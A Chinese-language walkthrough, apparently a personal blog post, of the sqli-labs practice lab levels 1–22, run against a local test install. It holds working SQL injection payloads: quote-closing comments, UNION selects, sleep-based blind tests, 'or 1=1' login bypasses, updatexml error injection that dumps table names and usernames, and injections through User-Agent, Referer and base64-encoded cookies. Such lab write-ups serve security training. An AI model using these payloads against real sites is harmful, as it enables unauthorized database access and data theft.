前言
因为暑假在家无聊,想着开学要做培训,就拿出了珍藏许久的注入天书,先做着玩玩
Sqli-labs下载:https://github.com/Audi-1/sqli-labs
Sqli-labs安装:
需要安装以下环境
(1)apache+mysql+php
(2)Tomcat+mysql+java(部分关卡需要)
如果可以的话,推荐在windows和linux下分别安装:
Windows下可以用wamp、phpstudy、apmserv等直接安装,
linux下可在网上搜索教程进行安装。
例如ubuntu下,新手基本靠软件中心和apt-get进行安装。这里就不赘述环境的安装了。
我的测试环境是:
windows下用wamp直接搭建的
linux平台用ubuntu14.04,apache+mysql+php
同时,在后面的几个关卡中,需要用到tomcat+java+mysql的服务器,此处因已经安装apache+mysql+php,所以我们需要安装tomcat+jre+java连接mysql的jar,具体过程不详细讲解。
Sqli-labs安装将之前下载的源码解压到web目录下
linux的apache为/var/www/html下
windows下的wamp解压在www目录下
修改sql-connections/db-creds.inc文件当中的mysql账号密码
将user和pass修改你的mysql的账号和密码,访问127.0.0.1的页面,点击进行安装数据库的创建至此,安装结束
Less-1
打开界面:Please input the ID as parameter with numeric value
让我传个参数id……
尝试:id=1'
出现报错:to use near ''1'' LIMIT 0,1' at line 1
很明显是单引号闭合了,所以得到:
payload:http://localhost/sql/Less-1/?id=1'--+
Less-2
emmmmm……
源代码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
很无聊的样子……
比如id=23333 order by 1
$sql="SELECT * FROM users WHERE id=23333 order by 1 LIMIT 0,1"
可以依此试出,一共3列……
然后:id=23333 union select 1,2,3$sql="SELECT * FROM users WHERE id=23333 union select 1,2,3 LIMIT 0,1"
然后id=23333 union select 1,database(),user()$sql="SELECT * FROM users WHERE id=23333 union select 1,database(),user() LIMIT 0,1"
得出数据库名:security,当前用户名:root@localhost
Less-3
尝试?id=1'
得到报错:to use near ''1'') LIMIT 0,1' at line 1
可以知道应该是单引号和括号的闭合……
所以得到
payload:http://localhost/sql/Less-3/?id=1')--+
Less-4
尝试?id=1'
发现没有报错,于是再尝试?id=1"
得到报错:to use near '"1"") LIMIT 0,1' at line 1
可以得知是双引号和括号的闭合
于是得到:
payload:http://localhost/sql/Less-4/?id=1")--+
Less-5
尝试?id=1'
得到报错:to use near ''1'' LIMIT 0,1' at line 1
所以应该是单引号闭合,得到:
payload:http://localhost/sql/Less-5/?id=1'--+
Less-6
就是上一题的单引号闭合变成了双引号闭合
payload:http://localhost/sql/Less-6/?id=1"--+
Less-7
尝试?id=1'
得到报错:You have an error in your SQL syntax
构造?id=1'--+
发现依旧不行,猜测可能--+
不能用了
于是换了一种闭合方式:?id=1' or 'a'='a
成功得到payload:http://localhost/sql/Less-7/?id=1' or 'a'='a
Less-8
尝试?id=1'
发现无报错,但是页面不返回东西
应该是个bool盲注……
但是题目本身简单,属于介绍类题目
所以直接:
payload:http://localhost/sql/Less-8/?id=1' or 'a'='a
Less-9
发现无论尝试什么,页面都不变化
所以猜想是不是时间盲注
payload:http://localhost/sql/Less-9/?id=1' or sleep(2)--+
页面会等待响应一会儿,应该是正确了
…………这个是我最讨厌的注入= =,日后遇到再说
Less-10
这个就是上一题的单引号变成双引号,没什么好说的
payload:http://localhost/sql/Less-10/?id=1" or sleep(2)--+
Less-11
起手就尝试了1
2username = admin' or 'a'='a
password = 1
直接就过了…………
Less-12
尝试各种单引号无果,猜想应该是双引号
尝试:username = admin" or 1=1 --+
得到报错:to use near '1") LIMIT 0,1' at line 1
看来还有括号闭合
得到payload:1
2username = admin") or 1=1#
password = 1
Less-13
这题就是上一题双引号改为单引号了……没什么好说的1
2username = admin') or 1=1#
password = 1
Less-14
起手尝试了单引号,发现没任何反应……
就尝试了一下双引号1
2username = admin" or 1=1#
password = 1
就过了……
Less-15
一如既往的把上一题双引号改为单引号就可以了……1
2username = admin' or 1=1#
password = 1
Less-16
一通乱试,发现根本不带回显的……最后尝试了一下带括号的双引号:1
2username = admin") or 1=1#
password = 1
就过了
Less-1 ~ Less-16小结
在上面的16关中,我基本没有爆库爆表爆字段,只是简单的找了一下注入点,原因是我发现上面的题目都没有带过滤……只要能闭合引号,就能简单的爆出想要的东西。
上面的题型大概分4种
1.联合查询注入
2.报错注入
3.bool盲注
4.时间盲注
每种题型也有自己独特的解法:
1.对于联合查询注入,可以利用Union,直接select出你想要的信息
2.对于报错注入,可以很快的找到引号闭合方式,使用特定的函数使其报错,得到信息
3.对于bool盲注,没有回显,但是可以辨别出是ture还是fasle,所以可以用python写脚本,利用ascii码的比较来确定字符,得到信息
4.对于时间盲注,和bool盲注异曲同工,但是连回显都没有了,所以需要根据页面响应时间来判断是ture or false,同样需要写python脚本解决
注:后面的题型变难的时候会写脚本解决,这里就简单找一下注入点,跳过了
Less-17
尝试uname无果,发现注入点在passwd
尝试xpath报错注入:
爆库uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
得到回显:XPATH syntax error: '~security~'
得知数据库名:security
爆表:1
2uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&submit=Submit
得到回显:XPATH syntax error: '~emails,referers,uagents,users~'
爆字段:1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1)#&submit=Submit
得到回显:XPATH syntax error: '~username~'
拿数据:1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit
却得到了报错You can't specify target table 'users' for update in FROM clause
思考到这里是updata语句,百度了一下解决方案:http://www.jb51.net/article/60926.htm
需要再在外面加一层select即可解决
最终payload:1
2uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username
from users)b limit 0,1),0x7e),1)#&submit=Submit
得到回显:XPATH syntax error: '~Dumb~'
即可完成本题
Less-18
打开界面,得到信息:Your IP ADDRESS is: 127.0.0.1
猜测这个注入应该和header有关,于是抓包改包各种操作无果……
看了一下源码,要先登录成功后再注入才有报错回显……(一万只草泥马)
然后查了下数据库,账号admin,密码1
然后看见回显1
2Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
猜测应该是在User-Agent进行注入,随机试了一下:User-Agent: 1'
报错回显:to use near '127.0.0.1', 'admin')' at line 1
发现果然这里存在注入
尝试:User-Agent: 1' and '1'='1
得到回显:Your User Agent is: 1' and '1'='1
找到了引号闭合方式,下面就简单了,随手试了一下updatexml()
payload:User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
得到回显:1
2Your User Agent is: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
XPATH syntax error: '~security~'
得到数据库名……后面的路数和上题一样,不再赘述
Less-19
和上一题一个路数,先登录,得到回显:Your Referer is: http://localhost/sql/Less-19/
猜测应该是在header里的Referer里进行注入,尝试:Referer: 1' and '1'='1
得到回显:Your Referer is: 1' and '1'='1
于是也起手试了一下updatexml()
payload:Referer: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
得到回显:1
2Your Referer is: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
XPATH syntax error: '~security~'
得到数据库名……后面的路数也和上题一样,不再赘述
Less-20
也和上一题一个路数,先登录
然后得到一大堆回显,其中有cookie一行字格外的大……
所以试了一下header里的cookie:Cookie: uname=admin'
得到回显:to use near ''admin'' LIMIT 0,1' at line 1
再尝试:Cookie: uname=admin' and '1'='1
发现cookie被删除……证明引号闭合成功了
所以路数应该还是和上题一样,尝试:
payload:Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
得到回显:Issue with your mysql: XPATH syntax error: '~security~'
发现成功,后面的路数也和上题一样,不再赘述
Less-21
先登录
发现cookie中为base64,解码后得到admin
猜想只是比上题多了一个Base64
于是给admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
进行base64编码,然后提交:
payload:Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
得到回显:Issue with your mysql: XPATH syntax error: '~security~'
故此题完爆……
Less-22
这题就是上一题单引号改为双引号了……没什么好说的
于是给admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
进行base64编码,然后提交:
payload:Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAiMSI9IjE=
结束
后记
到此SQLi-LABS Page-1(Basic Challenges)的22题就已经全部完爆了
在这里稍作总结一下,前面1~16关已经总结过了,就说说17~22关,这6关应该是属于涨涨见识的关卡,可能还少了一道xff注入,也是header里比较经典的注入……我记得实验吧好像有一道这样的题
然后单题目来说,没什么好讲的,无论技巧还是构造Payload都差不多,也比较基础
所以就介绍一下我做这22题所用的工具:
1.火狐浏览器的:Hackbar插件,Live HTTP headers插件
2.BurpSuite
强烈推荐这3个工具……爱不释手,web神器(2333333)